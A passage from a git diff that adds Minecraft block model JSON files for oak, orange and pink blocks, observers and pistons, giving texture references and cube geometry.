"minecraft:block/oak_door_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/oak_door_top.json b/src/assets/minecraft/models/block/oak_door_top.json new file mode 100644 index 00000000..41020636 --- /dev/null +++ b/src/assets/minecraft/models/block/oak_door_top.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/door_top", + "textures": { + "top": "minecraft:block/oak_door_top", + "bottom": "minecraft:block/oak_door_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/oak_door_top_hinge.json b/src/assets/minecraft/models/block/oak_door_top_hinge.json new file mode 100644 index 00000000..cc35e140 --- /dev/null +++ b/src/assets/minecraft/models/block/oak_door_top_hinge.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/door_top_rh", + "textures": { + "top": "minecraft:block/oak_door_top", + "bottom": "minecraft:block/oak_door_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/oak_fence_gate.json b/src/assets/minecraft/models/block/oak_fence_gate.json new file mode 100644 index 00000000..74e6c445 --- /dev/null +++ b/src/assets/minecraft/models/block/oak_fence_gate.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_fence_gate", + "textures": { + "texture": "minecraft:block/oak_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/oak_fence_gate_open.json b/src/assets/minecraft/models/block/oak_fence_gate_open.json new file mode 100644 index 00000000..c3e37495 --- /dev/null +++ b/src/assets/minecraft/models/block/oak_fence_gate_open.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_fence_gate_open", + "textures": { + "texture": "minecraft:block/oak_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/oak_fence_gate_wall.json b/src/assets/minecraft/models/block/oak_fence_gate_wall.json new file mode 100644 index 00000000..9c2c0f39 --- /dev/null +++ b/src/assets/minecraft/models/block/oak_fence_gate_wall.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_fence_gate_wall", + "textures": { + "texture": "minecraft:block/oak_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/oak_fence_gate_wall_open.json b/src/assets/minecraft/models/block/oak_fence_gate_wall_open.json new file mode 100644 index 00000000..2b515179 --- /dev/null +++ b/src/assets/minecraft/models/block/oak_fence_gate_wall_open.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_fence_gate_wall_open", + "textures": { + "texture": "minecraft:block/oak_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/oak_fence_inventory.json b/src/assets/minecraft/models/block/oak_fence_inventory.json new file mode 100644 index 00000000..54282027 --- /dev/null +++ b/src/assets/minecraft/models/block/oak_fence_inventory.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/fence_inventory", + "textures": { + "texture": "minecraft:block/oak_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/oak_fence_post.json b/src/assets/minecraft/models/block/oak_fence_post.json new file mode 100644 index 00000000..e05dc4ae --- /dev/null +++ b/src/assets/minecraft/models/block/oak_fence_post.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/fence_post", + "textures": { + "texture": "minecraft:block/oak_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/oak_fence_side.json b/src/assets/minecraft/models/block/oak_fence_side.json new file mode 100644 index 00000000..fe4ed99e --- /dev/null +++ b/src/assets/minecraft/models/block/oak_fence_side.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/fence_side", + "textures": { + "texture": "minecraft:block/oak_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/oak_leaves.json b/src/assets/minecraft/models/block/oak_leaves.json new file mode 100644 index 00000000..192ebd67 --- /dev/null +++ b/src/assets/minecraft/models/block/oak_leaves.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/leaves", + "textures": { + "all": "minecraft:block/oak_leaves" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/oak_log.json b/src/assets/minecraft/models/block/oak_log.json new file mode 100644 index 00000000..70583e67 --- /dev/null +++ b/src/assets/minecraft/models/block/oak_log.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/oak_log_top", + "side": "minecraft:block/oak_log" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/oak_log_horizontal.json b/src/assets/minecraft/models/block/oak_log_horizontal.json new file mode 100644 index 00000000..fd9a02ca --- /dev/null +++ b/src/assets/minecraft/models/block/oak_log_horizontal.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column_horizontal", + "textures": { + "end": "minecraft:block/oak_log_top", + "side": "minecraft:block/oak_log" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/oak_planks.json b/src/assets/minecraft/models/block/oak_planks.json new file mode 100644 index 00000000..3a21a3f2 --- /dev/null +++ b/src/assets/minecraft/models/block/oak_planks.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/oak_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/oak_pressure_plate.json b/src/assets/minecraft/models/block/oak_pressure_plate.json new file mode 100644 index 00000000..3fb5dd7c --- /dev/null +++ b/src/assets/minecraft/models/block/oak_pressure_plate.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/pressure_plate_up", + "textures": { + "texture": "minecraft:block/oak_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/oak_pressure_plate_down.json b/src/assets/minecraft/models/block/oak_pressure_plate_down.json new file mode 100644 index 00000000..06c4db73 --- /dev/null +++ b/src/assets/minecraft/models/block/oak_pressure_plate_down.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/pressure_plate_down", + "textures": { + "texture": "minecraft:block/oak_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/oak_sapling.json b/src/assets/minecraft/models/block/oak_sapling.json new file mode 100644 index 00000000..87354edc --- /dev/null +++ b/src/assets/minecraft/models/block/oak_sapling.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/oak_sapling" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/oak_sign.json b/src/assets/minecraft/models/block/oak_sign.json new file mode 100644 index 00000000..9406a849 --- /dev/null +++ b/src/assets/minecraft/models/block/oak_sign.json @@ -0,0 +1,5 @@ +{ + "textures": { + "particle": "minecraft:block/oak_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/oak_slab.json b/src/assets/minecraft/models/block/oak_slab.json new file mode 100644 index 00000000..03a160e5 --- /dev/null +++ b/src/assets/minecraft/models/block/oak_slab.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab", + "textures": { + "bottom": "minecraft:block/oak_planks", + "top": "minecraft:block/oak_planks", + "side": "minecraft:block/oak_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/oak_slab_top.json b/src/assets/minecraft/models/block/oak_slab_top.json new file mode 100644 index 00000000..a16afcc8 --- /dev/null +++ b/src/assets/minecraft/models/block/oak_slab_top.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab_top", + "textures": { + "bottom": "minecraft:block/oak_planks", + "top": "minecraft:block/oak_planks", + "side": "minecraft:block/oak_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/oak_stairs.json b/src/assets/minecraft/models/block/oak_stairs.json new file mode 100644 index 00000000..5fcba27e --- /dev/null +++ b/src/assets/minecraft/models/block/oak_stairs.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/stairs", + "textures": { + "bottom": "minecraft:block/oak_planks", + "top": "minecraft:block/oak_planks", + "side": "minecraft:block/oak_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/oak_stairs_inner.json b/src/assets/minecraft/models/block/oak_stairs_inner.json new file mode 100644 index 00000000..e0f940f4 --- /dev/null +++ b/src/assets/minecraft/models/block/oak_stairs_inner.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/inner_stairs", + "textures": { + "bottom": "minecraft:block/oak_planks", + "top": "minecraft:block/oak_planks", + "side": "minecraft:block/oak_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/oak_stairs_outer.json b/src/assets/minecraft/models/block/oak_stairs_outer.json new file mode 100644 index 00000000..6f327c03 --- /dev/null +++ b/src/assets/minecraft/models/block/oak_stairs_outer.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/outer_stairs", + "textures": { + "bottom": "minecraft:block/oak_planks", + "top": "minecraft:block/oak_planks", + "side": "minecraft:block/oak_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/oak_trapdoor_bottom.json b/src/assets/minecraft/models/block/oak_trapdoor_bottom.json new file mode 100644 index 00000000..a4dcb639 --- /dev/null +++ b/src/assets/minecraft/models/block/oak_trapdoor_bottom.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_trapdoor_bottom", + "textures": { + "texture": "minecraft:block/oak_trapdoor" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/oak_trapdoor_open.json b/src/assets/minecraft/models/block/oak_trapdoor_open.json new file mode 100644 index 00000000..e8b0bb3b --- /dev/null +++ b/src/assets/minecraft/models/block/oak_trapdoor_open.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_trapdoor_open", + "textures": { + "texture": "minecraft:block/oak_trapdoor" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/oak_trapdoor_top.json b/src/assets/minecraft/models/block/oak_trapdoor_top.json new file mode 100644 index 00000000..34322d68 --- /dev/null +++ b/src/assets/minecraft/models/block/oak_trapdoor_top.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_trapdoor_top", + "textures": { + "texture": "minecraft:block/oak_trapdoor" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/oak_wood.json b/src/assets/minecraft/models/block/oak_wood.json new file mode 100644 index 00000000..79a8da03 --- /dev/null +++ b/src/assets/minecraft/models/block/oak_wood.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/oak_log", + "side": "minecraft:block/oak_log" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/observer.json b/src/assets/minecraft/models/block/observer.json new file mode 100644 index 00000000..1b8ca609 --- /dev/null +++ b/src/assets/minecraft/models/block/observer.json @@ -0,0 +1,23 @@ +{ + "parent": "block/block", + "textures": { + "bottom": "block/observer_back", + "side": "block/observer_side", + "top": "block/observer_top", + "front": "block/observer_front", + "particle": "block/observer_front" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 16, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#top", "cullface": "down" }, + "up": { "uv": [ 0, 16, 16, 0 ], "texture": "#top", "cullface": "up" }, + "north": { "uv": [ 0, 0, 16, 16 ], "texture": "#front", "cullface": "north" }, + "south": { "uv": [ 0, 0, 16, 16 ], "texture": "#bottom", "cullface": "south" }, + "west": { "uv": [ 0, 0, 16, 16 ], "texture": "#side", "cullface": "west" }, + "east": { "uv": [ 0, 0, 16, 16 ], "texture": "#side", "cullface": "east" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/observer_on.json b/src/assets/minecraft/models/block/observer_on.json new file mode 100644 index 00000000..ee290184 --- /dev/null +++ b/src/assets/minecraft/models/block/observer_on.json @@ -0,0 +1,6 @@ +{ + "parent": "block/observer", + "textures": { + "bottom": "block/observer_back_on" + } +} diff --git a/src/assets/minecraft/models/block/obsidian.json b/src/assets/minecraft/models/block/obsidian.json new file mode 100644 index 00000000..104a1994 --- /dev/null +++ b/src/assets/minecraft/models/block/obsidian.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/obsidian" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/orange_carpet.json b/src/assets/minecraft/models/block/orange_carpet.json new file mode 100644 index 00000000..886a5dbf --- /dev/null +++ b/src/assets/minecraft/models/block/orange_carpet.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/carpet", + "textures": { + "wool": "minecraft:block/orange_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/orange_concrete.json b/src/assets/minecraft/models/block/orange_concrete.json new file mode 100644 index 00000000..c0f6708a --- /dev/null +++ b/src/assets/minecraft/models/block/orange_concrete.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/orange_concrete" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/orange_concrete_powder.json b/src/assets/minecraft/models/block/orange_concrete_powder.json new file mode 100644 index 00000000..a63474f6 --- /dev/null +++ b/src/assets/minecraft/models/block/orange_concrete_powder.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/orange_concrete_powder" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/orange_glazed_terracotta.json b/src/assets/minecraft/models/block/orange_glazed_terracotta.json new file mode 100644 index 00000000..d39dc99b --- /dev/null +++ b/src/assets/minecraft/models/block/orange_glazed_terracotta.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glazed_terracotta", + "textures": { + "pattern": "minecraft:block/orange_glazed_terracotta" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/orange_shulker_box.json b/src/assets/minecraft/models/block/orange_shulker_box.json new file mode 100644 index 00000000..202c3257 --- /dev/null +++ b/src/assets/minecraft/models/block/orange_shulker_box.json @@ -0,0 +1,5 @@ +{ + "textures": { + "particle": "minecraft:block/orange_shulker_box" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/orange_stained_glass.json b/src/assets/minecraft/models/block/orange_stained_glass.json new file mode 100644 index 00000000..cb420e05 --- /dev/null +++ b/src/assets/minecraft/models/block/orange_stained_glass.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/orange_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/orange_stained_glass_pane_noside.json b/src/assets/minecraft/models/block/orange_stained_glass_pane_noside.json new file mode 100644 index 00000000..d54ef0db --- /dev/null +++ b/src/assets/minecraft/models/block/orange_stained_glass_pane_noside.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glass_pane_noside", + "textures": { + "pane": "minecraft:block/orange_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/orange_stained_glass_pane_noside_alt.json b/src/assets/minecraft/models/block/orange_stained_glass_pane_noside_alt.json new file mode 100644 index 00000000..56f2cd0b --- /dev/null +++ b/src/assets/minecraft/models/block/orange_stained_glass_pane_noside_alt.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glass_pane_noside_alt", + "textures": { + "pane": "minecraft:block/orange_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/orange_stained_glass_pane_post.json b/src/assets/minecraft/models/block/orange_stained_glass_pane_post.json new file mode 100644 index 00000000..66123eab --- /dev/null +++ b/src/assets/minecraft/models/block/orange_stained_glass_pane_post.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_post", + "textures": { + "pane": "minecraft:block/orange_stained_glass", + "edge": "minecraft:block/orange_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/orange_stained_glass_pane_side.json b/src/assets/minecraft/models/block/orange_stained_glass_pane_side.json new file mode 100644 index 00000000..53ba2125 --- /dev/null +++ b/src/assets/minecraft/models/block/orange_stained_glass_pane_side.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_side", + "textures": { + "pane": "minecraft:block/orange_stained_glass", + "edge": "minecraft:block/orange_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/orange_stained_glass_pane_side_alt.json b/src/assets/minecraft/models/block/orange_stained_glass_pane_side_alt.json new file mode 100644 index 00000000..d661b1e2 --- /dev/null +++ b/src/assets/minecraft/models/block/orange_stained_glass_pane_side_alt.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_side_alt", + "textures": { + "pane": "minecraft:block/orange_stained_glass", + "edge": "minecraft:block/orange_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/orange_terracotta.json b/src/assets/minecraft/models/block/orange_terracotta.json new file mode 100644 index 00000000..2d5e41a1 --- /dev/null +++ b/src/assets/minecraft/models/block/orange_terracotta.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/orange_terracotta" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/orange_tulip.json b/src/assets/minecraft/models/block/orange_tulip.json new file mode 100644 index 00000000..e0b71ccb --- /dev/null +++ b/src/assets/minecraft/models/block/orange_tulip.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/orange_tulip" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/orange_wool.json b/src/assets/minecraft/models/block/orange_wool.json new file mode 100644 index 00000000..89a99b52 --- /dev/null +++ b/src/assets/minecraft/models/block/orange_wool.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/orange_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/orientable.json b/src/assets/minecraft/models/block/orientable.json new file mode 100644 index 00000000..ad7bf9a7 --- /dev/null +++ b/src/assets/minecraft/models/block/orientable.json @@ -0,0 +1,6 @@ +{ + "parent": "block/orientable_with_bottom", + "textures": { + "bottom": "#top" + } +} diff --git a/src/assets/minecraft/models/block/orientable_vertical.json b/src/assets/minecraft/models/block/orientable_vertical.json new file mode 100644 index 00000000..5fb2223a --- /dev/null +++ b/src/assets/minecraft/models/block/orientable_vertical.json @@ -0,0 +1,12 @@ +{ + "parent": "block/cube", + "textures": { + "particle": "#side", + "down": "#side", + "up": "#front", + "north": "#side", + "east": "#side", + "south": "#side", + "west": "#side" + } +} diff --git a/src/assets/minecraft/models/block/orientable_with_bottom.json b/src/assets/minecraft/models/block/orientable_with_bottom.json new file mode 100644 index 00000000..d03a89bd --- /dev/null +++ b/src/assets/minecraft/models/block/orientable_with_bottom.json @@ -0,0 +1,19 @@ +{ + "parent": "block/cube", + "display": { + "firstperson_righthand": { + "rotation": [ 0, 135, 0 ], + "translation": [ 0, 0, 0 ], + "scale": [ 0.40, 0.40, 0.40 ] + } + }, + "textures": { + "particle": "#front", + "down": "#bottom", + "up": "#top", + "north": "#front", + "east": "#side", + "south": "#side", + "west": "#side" + } +} diff --git a/src/assets/minecraft/models/block/outer_stairs.json b/src/assets/minecraft/models/block/outer_stairs.json new file mode 100644 index 00000000..03bbe420 --- /dev/null +++ b/src/assets/minecraft/models/block/outer_stairs.json @@ -0,0 +1,28 @@ +{ + "textures": { + "particle": "#side" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 8, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#bottom", "cullface": "down" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#top" }, + "north": { "uv": [ 0, 8, 16, 16 ], "texture": "#side", "cullface": "north" }, + "south": { "uv": [ 0, 8, 16, 16 ], "texture": "#side", "cullface": "south" }, + "west": { "uv": [ 0, 8, 16, 16 ], "texture": "#side", "cullface": "west" }, + "east": { "uv": [ 0, 8, 16, 16 ], "texture": "#side", "cullface": "east" } + } + }, + { "from": [ 8, 8, 8 ], + "to": [ 16, 16, 16 ], + "faces": { + "up": { "uv": [ 8, 8, 16, 16 ], "texture": "#top", "cullface": "up" }, + "north": { "uv": [ 0, 0, 8, 8 ], "texture": "#side" }, + "south": { "uv": [ 8, 0, 16, 8 ], "texture": "#side", "cullface": "south" }, + "west": { "uv": [ 8, 0, 16, 8 ], "texture": "#side" }, + "east": { "uv": [ 0, 0, 8, 8 ], "texture": "#side", "cullface": "east" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/oxeye_daisy.json b/src/assets/minecraft/models/block/oxeye_daisy.json new file mode 100644 index 00000000..bdc32c2e --- /dev/null +++ b/src/assets/minecraft/models/block/oxeye_daisy.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/oxeye_daisy" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/packed_ice.json b/src/assets/minecraft/models/block/packed_ice.json new file mode 100644 index 00000000..3af1024f --- /dev/null +++ b/src/assets/minecraft/models/block/packed_ice.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/packed_ice" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/peony_bottom.json b/src/assets/minecraft/models/block/peony_bottom.json new file mode 100644 index 00000000..8b7ea916 --- /dev/null +++ b/src/assets/minecraft/models/block/peony_bottom.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/peony_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/peony_top.json b/src/assets/minecraft/models/block/peony_top.json new file mode 100644 index 00000000..6e0fd6b7 --- /dev/null +++ b/src/assets/minecraft/models/block/peony_top.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/peony_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/petrified_oak_slab.json b/src/assets/minecraft/models/block/petrified_oak_slab.json new file mode 100644 index 00000000..03a160e5 --- /dev/null +++ b/src/assets/minecraft/models/block/petrified_oak_slab.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab", + "textures": { + "bottom": "minecraft:block/oak_planks", + "top": "minecraft:block/oak_planks", + "side": "minecraft:block/oak_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/petrified_oak_slab_top.json b/src/assets/minecraft/models/block/petrified_oak_slab_top.json new file mode 100644 index 00000000..a16afcc8 --- /dev/null +++ b/src/assets/minecraft/models/block/petrified_oak_slab_top.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab_top", + "textures": { + "bottom": "minecraft:block/oak_planks", + "top": "minecraft:block/oak_planks", + "side": "minecraft:block/oak_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/pink_carpet.json b/src/assets/minecraft/models/block/pink_carpet.json new file mode 100644 index 00000000..874e9744 --- /dev/null +++ b/src/assets/minecraft/models/block/pink_carpet.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/carpet", + "textures": { + "wool": "minecraft:block/pink_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/pink_concrete.json b/src/assets/minecraft/models/block/pink_concrete.json new file mode 100644 index 00000000..d64f49b9 --- /dev/null +++ b/src/assets/minecraft/models/block/pink_concrete.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/pink_concrete" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/pink_concrete_powder.json b/src/assets/minecraft/models/block/pink_concrete_powder.json new file mode 100644 index 00000000..b6c6ec12 --- /dev/null +++ b/src/assets/minecraft/models/block/pink_concrete_powder.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/pink_concrete_powder" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/pink_glazed_terracotta.json b/src/assets/minecraft/models/block/pink_glazed_terracotta.json new file mode 100644 index 00000000..6f6bc9f1 --- /dev/null +++ b/src/assets/minecraft/models/block/pink_glazed_terracotta.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glazed_terracotta", + "textures": { + "pattern": "minecraft:block/pink_glazed_terracotta" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/pink_shulker_box.json b/src/assets/minecraft/models/block/pink_shulker_box.json new file mode 100644 index 00000000..f088a120 --- /dev/null +++ b/src/assets/minecraft/models/block/pink_shulker_box.json @@ -0,0 +1,5 @@ +{ + "textures": { + "particle": "minecraft:block/pink_shulker_box" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/pink_stained_glass.json b/src/assets/minecraft/models/block/pink_stained_glass.json new file mode 100644 index 00000000..bb30dc77 --- /dev/null +++ b/src/assets/minecraft/models/block/pink_stained_glass.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/pink_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/pink_stained_glass_pane_noside.json b/src/assets/minecraft/models/block/pink_stained_glass_pane_noside.json new file mode 100644 index 00000000..ea8bf6d6 --- /dev/null +++ b/src/assets/minecraft/models/block/pink_stained_glass_pane_noside.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glass_pane_noside", + "textures": { + "pane": "minecraft:block/pink_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/pink_stained_glass_pane_noside_alt.json b/src/assets/minecraft/models/block/pink_stained_glass_pane_noside_alt.json new file mode 100644 index 00000000..14ee3c51 --- /dev/null +++ b/src/assets/minecraft/models/block/pink_stained_glass_pane_noside_alt.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glass_pane_noside_alt", + "textures": { + "pane": "minecraft:block/pink_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/pink_stained_glass_pane_post.json b/src/assets/minecraft/models/block/pink_stained_glass_pane_post.json new file mode 100644 index 00000000..939cdbaf --- /dev/null +++ b/src/assets/minecraft/models/block/pink_stained_glass_pane_post.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_post", + "textures": { + "pane": "minecraft:block/pink_stained_glass", + "edge": "minecraft:block/pink_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/pink_stained_glass_pane_side.json b/src/assets/minecraft/models/block/pink_stained_glass_pane_side.json new file mode 100644 index 00000000..cb8ef1b2 --- /dev/null +++ b/src/assets/minecraft/models/block/pink_stained_glass_pane_side.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_side", + "textures": { + "pane": "minecraft:block/pink_stained_glass", + "edge": "minecraft:block/pink_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/pink_stained_glass_pane_side_alt.json b/src/assets/minecraft/models/block/pink_stained_glass_pane_side_alt.json new file mode 100644 index 00000000..b05c3a4c --- /dev/null +++ b/src/assets/minecraft/models/block/pink_stained_glass_pane_side_alt.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_side_alt", + "textures": { + "pane": "minecraft:block/pink_stained_glass", + "edge": "minecraft:block/pink_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/pink_terracotta.json b/src/assets/minecraft/models/block/pink_terracotta.json new file mode 100644 index 00000000..37127754 --- /dev/null +++ b/src/assets/minecraft/models/block/pink_terracotta.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/pink_terracotta" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/pink_tulip.json b/src/assets/minecraft/models/block/pink_tulip.json new file mode 100644 index 00000000..56946f9c --- /dev/null +++ b/src/assets/minecraft/models/block/pink_tulip.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/pink_tulip" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/pink_wool.json b/src/assets/minecraft/models/block/pink_wool.json new file mode 100644 index 00000000..0c56bf01 --- /dev/null +++ b/src/assets/minecraft/models/block/pink_wool.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/pink_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/piston.json b/src/assets/minecraft/models/block/piston.json new file mode 100644 index 00000000..b854c189 --- /dev/null +++ b/src/assets/minecraft/models/block/piston.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/template_piston", + "textures": { + "platform": "minecraft:block/piston_top", + "bottom": "minecraft:block/piston_bottom", + "side": "minecraft:block/piston_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/piston_base.json b/src/assets/minecraft/models/block/piston_base.json new file mode 100644 index 00000000..605c2f68 --- /dev/null +++ b/src/assets/minecraft/models/block/piston_base.json @@ -0,0 +1,8 @@ +{ + "parent": "block/piston_extended", + "textures": { + "bottom": "block/piston_bottom", + "side": "block/piston_side", + "inside": "block/piston_inner" + } +} diff --git a/src/assets/minecraft/models/block/piston_extended.json b/src/assets/minecraft/models/block/piston_extended.json new file mode 100644 index 00000000..45e04a30 --- /dev/null +++ b/src/assets/minecraft/models/block/piston_extended.json @@ -0,0 +1,18 @@ +{ + "textures": { + "particle": "#side" + }, + "elements": [ + { "from": [ 0, 0, 4 ], + "to": [ 16, 16, 16 ], + "faces": { + "down": { "uv": [ 0, 4, 16, 16 ], "texture": "#side", "cullface": "down", "rotation": 180 }, + "up": { "uv": [ 0, 4, 16, 16 ], "texture": "#side", "cullface": "up" }, + "north": { "uv": [ 0, 0, 16, 16 ], "texture": "#inside" }, + "south": { "uv": [ 0, 0, 16, 16 